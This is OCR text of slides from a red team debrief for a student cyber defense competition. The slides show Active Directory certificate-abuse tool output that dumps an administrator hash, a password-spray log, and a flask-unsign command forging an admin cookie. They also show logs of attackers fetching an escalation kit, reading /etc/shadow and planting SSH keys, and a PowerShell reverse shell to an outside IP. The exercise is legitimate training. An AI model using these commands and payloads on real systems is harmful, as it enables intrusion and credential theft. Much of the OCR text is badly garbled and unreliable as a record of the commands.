MY 800V |
f}f“M HINE Red Team Debrief

THAT TIJHNS(

International CDC - Feb 2026




Red Teamers

<Names/handles go here>

LOL no that's too much to list -mejaredbrees

Our mascot though:




\ Most Common Exploit

DEFAULT CREDS

ZerolLogon (CVE-2020-1472)



AD CS (ESCI1) attack(s) -
next screen is fullscreen...

[*] Targeting 1 tesms: 18-10

f*] Credentials: michael.mirandaierikaa, krystal grayioggies, taco:itace
[*] Tesplates: UserAuthMisconfigured, LDAPSMisconfigured, TicketSigning
{*] Output: /hose/kali/Docusents/cdc/escl_results

[*] workers: 1

TEAM 30 ~ a0, tessld. lsucdc.com (6.87.159.10)

[*] Testing michael.mivandaidtesm19, dsucdc. com. ..

[+] Crecds valld: michasl mirandazerihas

[+] CA: teamle-AD-CA

[+] Velnerable templates: UserAut™isconfigured, LDAPSMisconfigured, TicketSigning
[*] Aceinistrator SID: S-1-5-21-1007130682 - 2762460467 -2007481916-500

[>] Requesting cert via template: UserAuthMisconfigured

[+] Certificate saved: /home/kali/Documents/cdc/escl_resulta/tesmld_asdeinistrator.pfx
[»] Authenticating with certificate (PRINIT) ...

[+] Adalnistrator NT hash: F13ee50340a7015220a847cted26417h

[LOOT] teami®/ad =+ /hooe/kali/Documents/cdc/loot/teani0/adninistrator_hash. txt

[+] Kerberos coache: Shome/Xall/Documents/cdc/escl_results/teanl@_adninlstirator.ccache
[*]) Rumning secretsdump ...

[+] secretsdump vis Kerberos ccache succeeded

[+] Hashes saved: /home/kall/Documents/cde/escl_results/teanmld secretsdump . tat

fLOOT] teamid/ad ~» /home/kali/Documents/cde/loot/taanil/secretsdomp. txt

[2] Grabbing flags via SM8 ...

[*] SME via Kerberos ccache

[FLAG] teamid/ad blue _teamil ad-cwindowssystenil.flag — /hose/kKali/Docusents/cac/flags/teanid/blue_teamid ad-cwindowssystemil.flag ad. tat
[+] Got 1 flags

[+] TEAM 10 COMPROMISED — DA hash: f13ee5¢34Ba7¢3i5270a847coed2eslin
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1)
SHB
SMBE
5MB
SMB
SMD
SMB
SMB
SMB
SHE
JRANTED
SMB
connection
SMB
SMB
connection
SHE
5MB
SMB
SHB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
GRANTED

Registration made Domain Admins!

159.75.35.1¢0 445 AD
73.19.46.18 465 AD
6.87.15%9.18 L45 AD
175.86.94.10 L45 AD
5.9.80.12 445 AD
128.45.126.18 445 AD
291.203.20806.18 445 ad
198.64.2703.1¢ 445 AD
197.45.19.190 445 AD
2.184.163.130 L45 AD
61.14.66.10 445 AD
with the remote host timed out.
61.14.66,18 445 AD
201.53.2.18 445 AD
with the remote host timed out.
291.53.2.19 L4S AD
283.96.261.1@ 448 AD
64.91.37.18 445 AD
©6.2.181.16 445 AD
13.46.179.10 4AS AD
159.75.35.10
73.19.46.16
6.87.159.10
175.86.94.18
5.0.806.1¢0

128.45.126.10

201.203.200.10

168.64.2083.10
197.45.190.10
2.104.163.10

445
445
445
445
445
445
445
445
445
445

AD
AD
AD
AD
AD
AD
ad
AD

AD

teanlS5, 1sucde.,
teani2.isucdc.
teanl®.isucdc,

] teamlB.isucdc.

tean2l.isucdc.
tean2d. isucde.,

teand. 1sucdce.com\tompohl :Qweasd123! STATUS_NOT_SUPPORTED

tean25.1s5ucdc,
teanmi¥.i1s5ucdc,
tean24.isucdc.

Exror checking if user is adnin on 61.14.68,16: The NETBIOS

teanzB.1sucde,

Exrror checking if user is admin on 281.53.2,18: The NETBIOS

tean2é.isucde
tean2?.isucdc
tean32. isucdc
tean22, isucdc

.com\tomponl :Queasdi23!

.com\tonpohl :CGweasd123! STATUS_LOGON_FAILURE
.com\tompohl:Queasdli2d! STATUS_LOGON_FAILURE
Jcom\tompohl :Qweasdli23!

Exror checking 1f user is ednin on 13.46.179.18: The NETBIO

com\tomponl :Qweasdiz23!
com\tompohl :Qweasdi23!
com\tomponl :Queasdi23!
com\ tompohl :Quensdl123!
com\tomponl :Qweasdi23! STATUS_LOGON_FAILURE
com\tomponhl:Cweasdi23! STATUS_LOGON_FAILURE

com\tomponl :Quweasdi23!
com\tomponl:Quweasdi23! STATUS_LOGON_FAILURE
com\tomponl :Queasdi23! STATUS_LOGON_TYPE _NOT_

com\toaponl :Qweasdi23!

teaml5.isucdc.com\tompohl:Qweasdi23!
[+] teaml2.isucdc.com\tompohl:Qweasdi23!
[ teaml@.isucdc.com\tompohl:Qweasdi23!
teaml8.isucdc.com\tompohl:Qweasdi23!

[~=] team2l.isucdc.com\tompohl:Qweasdi23! STATUS_LOGON_FAILURE
[~] team20.isucdc.com\tompohl:Qweasdi23! STATUS_LOGON_FAILURE
[~] team3.isucdc.com\tompohl:Qweasd123! STATUS_NOT_SUPPORTED
[+] team25.isucdc.com\tompohl:Qweasdi23!
teaml?.isucdc.com\tompohl:Qweasdi23! STATUS_LOGON_FAILURE

L B o B,
I
—

-] team24.isucdc.com\tompohl:Qweasdi23! STATUS_LOGON_TYPE_NOT_




Acthe Dirsciory U and Corvgeters
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Registration made Domain Admins!

SMB 159.75.35.1 teaml5.isucdc.com\tompohl:Qweasdi23!
SMB 73.19.46.16 [+] teaml2.isucdc.com\tompohl:Qweasdi23!
SMB 6.87.159.10 [+] teaml@.isucdc.com\tompohl:Qweasdi23!
SMB 175.86.94.18 | teaml8.isucdc.com\tompohl:Qweasd123!
SMB 5.90.80.10 teamzl.isucdc.com\tompohl:Qweasd123! STATUS_LOGON_FAILURE

SMB 128.45.126.16 ] team20.isucdc.com\tompohl:Qweasdi23! STATUS_LOGON_FAILURE
SMB 201.203.200.10 team3.isucdc.com\tompohl:Qweasd123! STATUS_NOT_SUPPORTED
SMB 168.64.283.10 , team25.isucdc.com\tompohl:Qweasdi23!

SMB 197.45.10.10 teaml?.isucdc.com\tompohl:Qweasdi23! STATUS_LOGON_FAILURE
SMB 2.104.163.10 (-] team24.isucdc.com\tompohl:Qweasdi23! STATUS_LOGON_TYPE_NOT_
GRANTED




Default Flask SECRET_KEY of ‘cdc’ ~25% of
\ teams

| can just become "Administrator” on mgmt

Had a script that checked if it worked.
Then set the password to “Passwordl1234!"

flask-unsign --sign --secret 'cde' --cookie "{\"username\": \"Adninistrator\”, \"is_admin\": true, \"anything\": 'I want'}"
I AJXTQoSRKL10LcpLZEZNUDJSIFFYTHNNZMSSLATKLNKVITHSAQPLFSCNgKRBCKQNSINBY o LSLSUZnXnpIOF1TAXyxLWwS9VOLADeEENS . aZ006g. FMKe7fgmL506ictlsPue
124Qnyo



When SSH broke - pivot through AD
Sometimes password not needed?

Had to fix/break IE, install Firefox, PUTTY, etc.

Was on this box for a long time unnoticed

@ roger.cox@mgmt:~

Aé@ login as: roger.cox
Activate the web console with: systemctl enable ——-now cockpit.socket

Last login: Sat Feb 21 08:58:37 2026 from 105.64.203.10
[roger.coxBmogmt ~]§ cat fetc/*flag
SyKeZYzRkOhYDKZDSERQBrCSDWWVab Y3 AKQo7allBx53 1MCngLh

[roger.coxBmomt ~] § l




RDP problems and missing flags

Ports not available/open from network

Servers unable to reach your AD controller for authentication

CredSSP/NLA problems Remote Desktop Connection

@ The remote computer that you are trying to connect to requires Network Level
Authentication (NLA), but your Windows domain controller cannot be contacted to perform
NLA. If you are an administrator on the remote computer, you can disable NLA by using the

options on the Remote tab of the System Properties dialeg box.

MariaDB [transit]> select * from payment_info where username='blue_flag’;
+ +

id username card_number cardholder_name expiry date cVvVv

1041f709-e969-4d4T-a493-7f6cb42abB0cC DB_FLAG BLUE 00/0000

b —
oho——
b ——

blue_flag

oho——
b o— —

I
+
I
+

N o

————- 2. __a fa Ana —_——=\



‘ Earnback problems (several slides)

bin 1ib 1ib64 PLATYPUS shin
| rootfueas It cd root
[ rootFuay n |

anaconda~-ks . .cfg ki i FLATYPUS teaml _was-root . f lag
(rootPwas " I8 rm I 7etc/tcaml8 wav-rootl..f lag

(roothess I8 | | 7root | grep teamll

" o a 1 root roof 51 Feb 21 H9:89 | nlt_wae-rootl.f lay
(rootHess I rm < setcteamlt was-root.f lag

[rootPwas “ I8 rm -f /rooblteamiB was-root .1 lag

rootidasg 10 rm I selcsteamlt Lans-et i lay

(rootPuwas 18 Is -1 7rool | grep teamiB

| rOOLidwaay n

Proof;

Forensic discovery of the reverse shell payload at /usr/local/

cche.py.
IDS logs from 2:41 PM documenting the "sudo to ROOT"
execution and the successful UID change to root.

Let me know if you need help with any other flags




\ Earnback problems (several slides)

USINGEARNBACK\TO
PASTEFLAG/CONTENTS

AND WHEREIT(LIVES



db-11:
gb-11:
db-11:
gb-11
db-11
gb-11
db-11
gb-11:
gb-11:
gb-11:
db-113

2w onterrpted sah 0gns 10 d% a0d caNera 10 weers oot ard ode

How 10 de 100 e for Tool name

DT IR

:53

:53

53
93
54

29

112
e I}
128
:23
=23

AN
AM
AN
AN
AN
AN
AN

AN |

AN
AM
Ly

Tool name

tean faded agns from ARG 235200 ot T D

{user=gb uid:1861 e-user:cb 1p=49.18.2
{user=gb wid:1801 e-user:ab 1p=49.16.2
[user=¢t wid:100) s-user:ch 1p=49.10.25
[user=(oone) vid:1001 s-wner.db lp=- pp
{users(nens) uid: 1001 s-unar:dh ipr- ppid
[userssd vid: 1001 e-user ol Lp=49.10.235.
juserscde ulid: 1882 e-user:cde 1pa199.188

usersgd oid:1001 o-vuser:ch 1p=49.18.23%
{user=eb wid:1001 o-vser:ab 1p=49.10.235.
{user=cde vid: 10082 o-veer:cdc ip=199.189

0.1

Sow anterrptied seh s 10 db 25d CaTHra 1O users 1ot and ode from 68 32,

ASS ppid: 23459 ow

155

135 ppid;: 23630 ow
@:23434 cnd:/hoae/ e wxec;/bin/sieep] slasp 1

.

w8 32238 -a02

Saw amerrpted sshiogns to bt for users root and Asministrator from S9N 238 208 - 309

Earnback problems (what we want, ideas:)

@ /home/db exec:/usr/bin/curl) cerl -f3SL https://rew, githubusercontent.cos/Lydk/Peniit/main/Pankit -0 Pwnlit
ppid: 23430 cws: /hore/db exes:/Bin/chrod] chmod +x . /Pankit
@: /hosn/db exec:./PwNit] . /Penkit

end: /hosa/ab sxnc:/bin/ra]l m . /Pwmlit
pplid: 25413 cwe:/hare/db exes:/fuse/bin/curl] curl
.58 ppid:23213 cwd: /homa/cde exec:/Bin/su)] su o
ppid: 23413 cwe: /hose/db exec:/ess/bBin/ourl] curl -FsSL https://raw. githubusercontent. con/Lydk/Penilit/malin/Pankit. sh
ppid: 23613 owd:/hose/db exes:/8in/ls) 1s --colercaute
56 ppid:25213 cwd:/hose/cdo exec:/user/bin/sudo] sudo cat Jeto/shacow
0 ppid: 23448 cwd: /hamm/cdc sxec:/bin/cat] cat Jetc/shadow



ROGAM

F

rebiax 200

Thay tried 1o ren commands oer MQTT

M EIAM

peanrshall ~»
DAB L AGA QR LAGAA AAA g ALOATABO AU ADWA T AESAY gBq ALA YR BACAA LWESAMA S TALOAL g BOAGLADAALATMA bl  AS AZCEOA=MALY
BOABMALABCA D wA QBT AGAA AAAL TARAASACAAMO Aot CAAME A s AD AL g AxADAANg A {ACWANAASADORNAADAD s AJAB 2 ANGAC g BLALERL Ay
ALOATAALAGMALAR D ACUAL g ROATAARE LANGAUE A AHTAZOBhAGRAKAA D AD s Al L AMSAZAB LAT 3 AXCEAATOAY gBSAHDAD B ACAAPOAR A
AAL gACALYANQATADMARGSEACUA afANBALWE SAL g An (8 ABUAKAACACQRASQAZADSAT AR RAHMACAB yAGUAY QB ACAAU g BLAGEAZAA-ALQA
YRS ANOATCO 2 AT JAXAACNA TAAKAGE A oSl AGUA oA UAT soh DO UAGS ADAROACK A RQAEACTA Dl LACAAMAA L AN s ADWA K AGOAYORUACI A TA
ATACAAKASOAGUAGRAL ALBAY g BAGUAY A B2A CAAL QIMHEACADLAEAAY Rt AGUAT AN TAN KAC A BOAGUALTUALAN DAZGBSANGAL g BBAFMALWED
AERARBUAGMA Bk AR AL RN ACKA Ly BHASUAZAB T AXQA c g Bp AGHA ZwA o ACCAY g BS AHOA 208 2 ATaAMAA S ACAA DA ACK Aled KAMMA ZCB LAG
QAY gRmAGMAY AAZADDATAACALKAZ JIMACACIABRAGE A AIRACANT G A s ACY ANTAZAN AR TABSANUAGARL AFMESAR yAG KA g = A CARX AT ACOA
el LAGAATAN L AGE AYWMIc ADTATAADACAA AR ZAGUAD g AAGT AYON s AG A TAAS ACAAT gROAT WA TAA LACAA Kwd g AT A c AN AGOA KQAUAF AAYD
DOAGEATAATACAAT g A+ ACAAT gATALQAC alILAGAAZ AN IAHKAJANLACAAPQAZAL AN BOAG IS ADOACALL JBeAGMAL alikAGKAL g Bi=AF DADgAS
AEEADODAL KA SQAACA AR T AGAQ EIS AVOA TR AT AJADZ AGIADEIKAGTAYON JAG s AMZADAD s ADAD T AMOAC g1 LAGE ALQALAF c A cglipaM
QALUASACQAC AN ALAAT AR IANKAGAR L ACRAMAA s ACQAC Al AGAAZ AR AN KAZAD L ACAAT AUL AGAAT AIOAGEAX AT ACO A wBONH TAZ QIRALOA
LZRGAGAASNT AGEAKAARAMIADWA KAGHA LA L AGUA b IACAADWE s AGHA cwit | ACZA NQAS

Uncoded bosesd

$client » Now-Object System Met, Sackets, TOPCLiens("40.10,219,306% 44é4) ;Setream » Scliant . GatStremmil: B

[(Bysel1)%yten » O, 624351 %10) ;nhile(($4 = $stream Readi$tytes, 0, $Sbytes. Langth)) <pe O){;$data = {New-
ject ~TypeMare System, Text . ASCTIEnceding) GetString($bytes @, $1);$sendback = (lex $datas 2551 | Outx-
String JiSsensback? = $Sseadbiack + “P5 " 4+ [pwd),Path « "> *;$sendbyte =

([text,encadisgJirASCIT ), GetBytes($sondback2 ] Satresm Nrited Ssendbyte, 0, $eandsyte.Longth) ;$atream . Flushi )
i8clisnt.Closel )

trmbos 2728108 ¥STAM

Another attempt at the panerator

Febt 24 15:48:53 smque-filuer pythoedi794): ERROAI o0 extarnel controliCommand! ponershell -¢
DAH § ASaA QB LACAAMAA g ADOA TABOAGUA A L AZEAY pRgACUA YR BACAA eBS AR dAZ TACOAL g BOACUALAA U AT MA Lol J AL AZIEOASMA LY
SUAEMALASDAG AL (ELAGARSAACAL TARAASACARM) At CAAM ASAD kAL gAs ADAANK A

AJASzANQAC g BLAGEALTAY |

L

BBl 2SN

Earnback problems (what we want, ideas:)

end-tty-ask-password-agent]: Jusr/bin/systemd-tty-ask-passa

"18:15:38 AN
“10:15:38 AM
"16:15:38 AN
"10:185:38 AN
"10:15:38 AM
“10:15:38 AN
"10:15:38 AN
“19:15:38 AN
"19:15:38 AM
"10:15:58 AN
"10:15:38 AM
“19:15:358 AN

[user=(none) vid:d e-user:root ips- ppid:1 cwd:/ exec:/usr/sbin/sshd]:

[user=cde
{user=cdc
[user=cdc
[user=cde
[user=cdc
[user=cde
[user=cdc
[user=cde
{user=cde

vig:0
vio: e
vig:@
vig:a
vig: @
viao:0
vid:@
vid:0
vig:8

e-user:root
e~usar:root
c-vser:root
e-ysar:root
e-yser:root
e-yser:root
e-yser:root
e-yser:root
e-user:root

ip=12.110.176.241
1p=12.110.176.241
ip=12.110.176.241
1p=12.110.176.241
ip=12.110.176.241
1p=12.110.176.241
ip=12,110.176.241
ip=12,110.176.241
ip=12.118.176.241

ppid:53S88
ppid:53588
ppid: 83588
ppid:53588
ppid: 53588
ppid:53588
ppid: 53588
ppid:53588
ppid:53588

cwd: /hone/cdc
cwd: /home/coc
owd: fhone/cdc
cwd: /home/coc
cwd: /home/cdc
cwd: /home/cdc
owd: /hone/coc
ewd: /home/cde
cwd: /home/coc

Jusr/sbin/sshd -D

exec:/binfchattr]: chattr +i Jetc/shadow

exec:/bin/ekdir]: mkdir /root/.ssh

exec:/bin/chattr]: chattr -i /root/.ssh/authorized_keys
exec:/bin/chmod]: chmod 708 /root/.ssh

exec;/bin/chmod]: chmod 488 /root/.sshfauthorized_keys
exec:/bin/chattr]: chattr +i /root/.ssh/authorized keys
exec:/bin/chattr]: chattr +i fetc/ssh/sshd_config.d/custom.conf
exec:/binfchattr]: chattr +i Jete/pan.d/conson-auth
exec:/binftar): tar -czvf [root/krb.tgz /tnp/krbe

[user=(nene) vid:0 e-user:root ip=- ppid:53643 cwd:/hone/cdc exec:/bin/sh]: [/bin/sh -¢ gzip

[us-r:(nonc) vid:0 e-user:root ip=- ppid:534643 cwd:/hone/cdc gxoc:(binlgzipla qz%p



N\

[16:
[16:
[16:
[17 2
78
[17:
[17:
375
[372

122
46:
46:
03:
03:
03:
04:
04:
393

Phishing page - gave console
access/iScore/vCenter

13]
20]
20]
59]
591
59]
07]
07]
46]

[ ]
[+++]
[+4+]
[war]
[imp]
[ ]
[+++]
[#++]
[war]

(18] [ '] landing URL: https:
[18] Username: [dogdogpuppy ]
[18] Password:

[ =] unauthorized request: ht
[19] [3 ‘=] new visitor has arr
[19] [ =] landing URL: https:

[19] Username: [anetal
[19] Password:
[] =] unauthorized request: ht
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Phishing page - gave console

access/iScore/vCenter

g vy

sers\Administrat

JOtes WMt Forawe @ Loifthiane

e L1 &

rasoft Windows [Version 10.8.20348 4773 &
) Microsoft rporation. All rights reserve: T amo0AAe b s 2
B Awwey
\Users\Administrator>query session - Comm
»ESSIONNAME USERNAME Il W latae
': & Cwmin
Aodministratos y O Cpoew
5334 ' B Te ey
D Twt
U Fosend »
Users\Administrator>logofs 85536
uld nat logoff session 1D 65536, Error code
ror [2):The cannot Tind the § spot

orsquery session
USERNAME ID STATE I
(4 U15¢C
Adninistrator 2 Active
'-I: S —.'J [ O
£553 ister

or>

o Geage Hwling DN

“ kot O

w ooie wowt LY s

Ol

INdows PowerGhe !
Copyright (O 2088 Wigroseft Corporattion, ATl rignts reserved
Adeiriatrator> Queary waer
SESSTONMME ID STATE IOLE TIME N TIME
sadeinistrator corsole 1 Active $3113  2/2172006 #1103 &
awdrea. hall 2 Disc 3:14  2/23/2020 9:4T M
PS Cihiers \Adenmrstrators geery urer
ISERNANE SESSTONMAME ID STATE I0LE TIME LOGON TINE
sadeind strator e 1 Active S$:13 27200026 5:03 M
2 Ci\lzers  Adminratrator> geery 34833%0on
L SSTOWRNE VIRENAVE ID STATE TP% EVICE
services 0 Disc
wconsale AN ATr ALY 3 Active
op-top 63538 Liaten
PSS Ci\Users\Acmimstrators echo
PS Cr\Users \ Agm nistrators wy *lag. txt teamld _sd-cusersadwinistrator.ting
S Co\Users \Adeiniatrators

> flag. tat



